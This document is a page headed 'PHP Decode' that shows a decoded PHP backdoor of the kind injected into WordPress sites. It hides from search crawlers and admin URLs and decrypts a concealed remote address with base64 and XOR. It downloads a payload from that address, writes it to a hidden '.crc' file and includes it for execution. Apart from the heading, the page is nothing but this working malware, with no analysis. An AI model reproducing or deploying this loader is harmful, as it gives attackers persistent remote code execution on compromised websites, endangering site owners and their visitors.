PHP Decode

<?php  @ini_set('display_errors', '0'); error_reporting(0); $bad_agents = '~google|360Spider|80legs|AIBOT|Aboundex|Acunetix|AhrefsBot|Alexibot|BLEXBot|BackDoorBot|BackWeb|Baiduspider|Bandit|BatchFTP|Bigfoot|Black.Hole|BlackWidow|BlowFish|BotALot|Buddy|BuiltBotTough|Bullseye|BunnySlippers|Cegbfeieh|CheeseBot|CherryPicker|ChinaClaw|Cogentbot|Collector|Copier|CopyRightCheck|Crescent|Custo|DIIbot|DISCo|DittoSpyder|Download Demon|Download Devil|Download Wonder|Drip|EasyDL|EirGrabber|EmailCollector|EmailSiphon|EmailWolf|EroCrawler|Exabot|Express WebPictures|Extractor|EyeNetIE|FHscan|Foobot|FrontPage|Go-Ahead-Got-It|GrabNet|Grafula|HMView|HTTrack|Harvest|IlseBot|Image Stripper|Image Sucker|Indy Library|InfoNavibot|InfoTekies|Intelliseek|InterGET|Internet Ninja|Iria|JOC|Jakarta|James BOT|Java|JennyBot|JetCar|JustView|Jyxobot|Kenjin.Spider|Keyword.Density|LNSpiderguy|LWP::Simple|LexiBot|LinkScan/8.1a.Unix|LinkWalker|LinkextractorPro|LinkpadBot|MIDown tool|MIIxpc|MJ12bot|Mag-Net|Magnet|MarkWatch|Mass Downloader|Mata.Hari|MegaIndex.ru/2.0|Memo|Microsoft URL Control|Microsoft.URL|Mirror|Missigua Locator|Mister PiX|Mozilla.\*NEWT|Mozilla\/3.Mozilla\/2.01|NAMEPROTECT|NICErsPRO|NPbot|Navroad|NearSite|Net Vampire|NetAnts|NetMechanic|NetSpider|NetZIP|Netcraft|NextGenSearchBot|NimbleCrawler|Ninja|Octopus|Offline Explorer|Offline Navigator|Openfind|OutfoxBot|PHP version tracker|PageGrabber|Papa Foto|Pockey|ProPowerBot\/2.14|ProWebWalker|Pump|QueryN.Metasearch|RMA|ReGet|RealDownload|Reaper|Recorder|RepoMonkey|SEOkicks|SearchmetricsBot|SemrushBot|Siphon|SiteExplorer|SiteSnagger|SlySearch|SmartDownload|Snake|Snapbot|Snoopy|SpaceBison|SpankBot|Sqworm|Stripper|Sucker|SuperBot|SuperHTTP|Surfbot|Szukacz\/1.4|Teleport|Telesoft|The.Intraformant|TheNomad|TightTwatBot|Titan|True_bot|TurnitinBot|TurnitinBot\/1.5|URLy.Warning|VCI|Vacuum|VoidEYE|WISENutbot|WWW-Collector-E|WWWOFFLE|Web Image Collector|Web Sucker|Web.Image.Collector|WebAuto|WebBandit|WebCopier|WebEMailExtrac.\*\" bot|WebEnhancer|WebFetch|WebGo IS|WebLeacher|WebReaper|WebSauger|WebStripper|WebWhacker|WebZIP|Webclipping.com|WebmasterWorldForumBot|Website Quester|Website eXtractor|Webster|Wget|Whacker|Widow|Xaldon|Xenu|Zeus|ZmEu|Zyborg|archive.org_bot|asterias|attach|cosmos|dragonfly|eCatch|ebingbong|flunky|gotit|hloader|humanlinks|ia_archiver|larbin|lftp|libWeb\/clsHTTP|likse|lwp-trivial|moget|niki-bot|pavuk|pcBrowser|psbot|rogerBot|sogou|spanner|spbot|suzuran|tAkeOut|turingos~i'; $bad_urls = '#xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#'; if (!@preg_match($bad_agents, $_SERVER['HTTP_USER_AGENT']) && !function_exists('httpget') && !@preg_match($bad_urls, $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'])) {     $ea = '_shaesx_'; $ay = 'httpget'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'crc';     $pass = "Zgc5c4MXrKogeQgN5ppcK/+GOVfVKqVbnjvME6jH/h0ZYgYYWhtm4d07";     function httpget($url) {         if (function_exists('curl_init')) {             $ch = curl_init($url);             curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);             curl_setopt($ch, CURLOPT_TIMEOUT, 15);             curl_setopt($ch, CURLOPT_HEADER, 0);             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);             $data = curl_exec($ch);             curl_close($ch);             return $data;         } elseif (@ini_get('allow_url_fopen')) {             return @file_get_contents($url);         } else {             $parts = parse_url($url);             $target = $parts['host'];             $port = isset($parts['port']) ? $parts['port'] : 80;             $page = isset($parts['path']) ? $parts['path'] : '';             $page .= isset($parts['query']) ? '?' . $parts['query'] : '';             $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';             $page = ($page == '') ? '/' : $page;             if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {                 @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>1, "usec"=>1));                 $headers = "GET $page HTTP/1.1\r\n";                 $headers .= "Host: {$parts['host']}\r\n";                 $headers .= "Connection: Close\r\n\r\n";                 if (fwrite($fp, $headers)) {                     $resp = '';                     while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {                         $resp .= $curr;                     }                     if (isset($curr) && $curr !== false) {                         fclose($fp);                         return substr(strstr($resp, "\r\n\r\n"), 3);                     }                 }                 fclose($fp);             }         }         return false;     }     function wp_cd($fd, $fa="")     {        $fe = "wp_frmfunct";        $len = strlen($fd);        $ff = '';        $n = $len>100 ? 8 : 2;        while( strlen($ff)<$len )        {           $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);        }        return $fd^$ff;     }     $reqw = $ay($ao($oa("$pass"), 'wp_function'));     preg_match('#gogo(.*)enen#is', $reqw, $mtchs);     $dirs = glob("*", GLOB_ONLYDIR);     $ura = 0;     foreach ($dirs as $dira) {         if (file_exists("$dira/.$algo")) {             $ura = 1;             $eb = "$dira/";             @include_once "$dira/.$algo";             break;         }         $subdirs = glob("$dira/*", GLOB_ONLYDIR);         foreach ($subdirs as $subdira) {             if (file_exists("$subdira/.$algo")) {                 $ura = 1;                 $eb = "$subdira/";                 @include_once("$dira/.$algo");                 break;             }         }     }     if (!$ura) {         foreach ($dirs as $dira) {             if (fopen("$dira/.$algo", 'w')) {                 $ura = 1;                 $eb = "$dira/";                 $hdl = fopen("$dira/.$algo", 'w');                 break;             }             $subdirs = glob("$dira/*", GLOB_ONLYDIR);             foreach ($subdirs as $subdira) {                 if (fopen("$subdira/.$algo", 'w')) {                     $ura = 1;                     $eb = "$subdira/";                     $hdl = fopen("$subdira/.$algo", 'w');                     break;                 }             }         }         if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }         fwrite($hdl, rawurldecode($mtchs[1]));         fclose($hdl);         @include("{$eb}.$algo");     } } ?>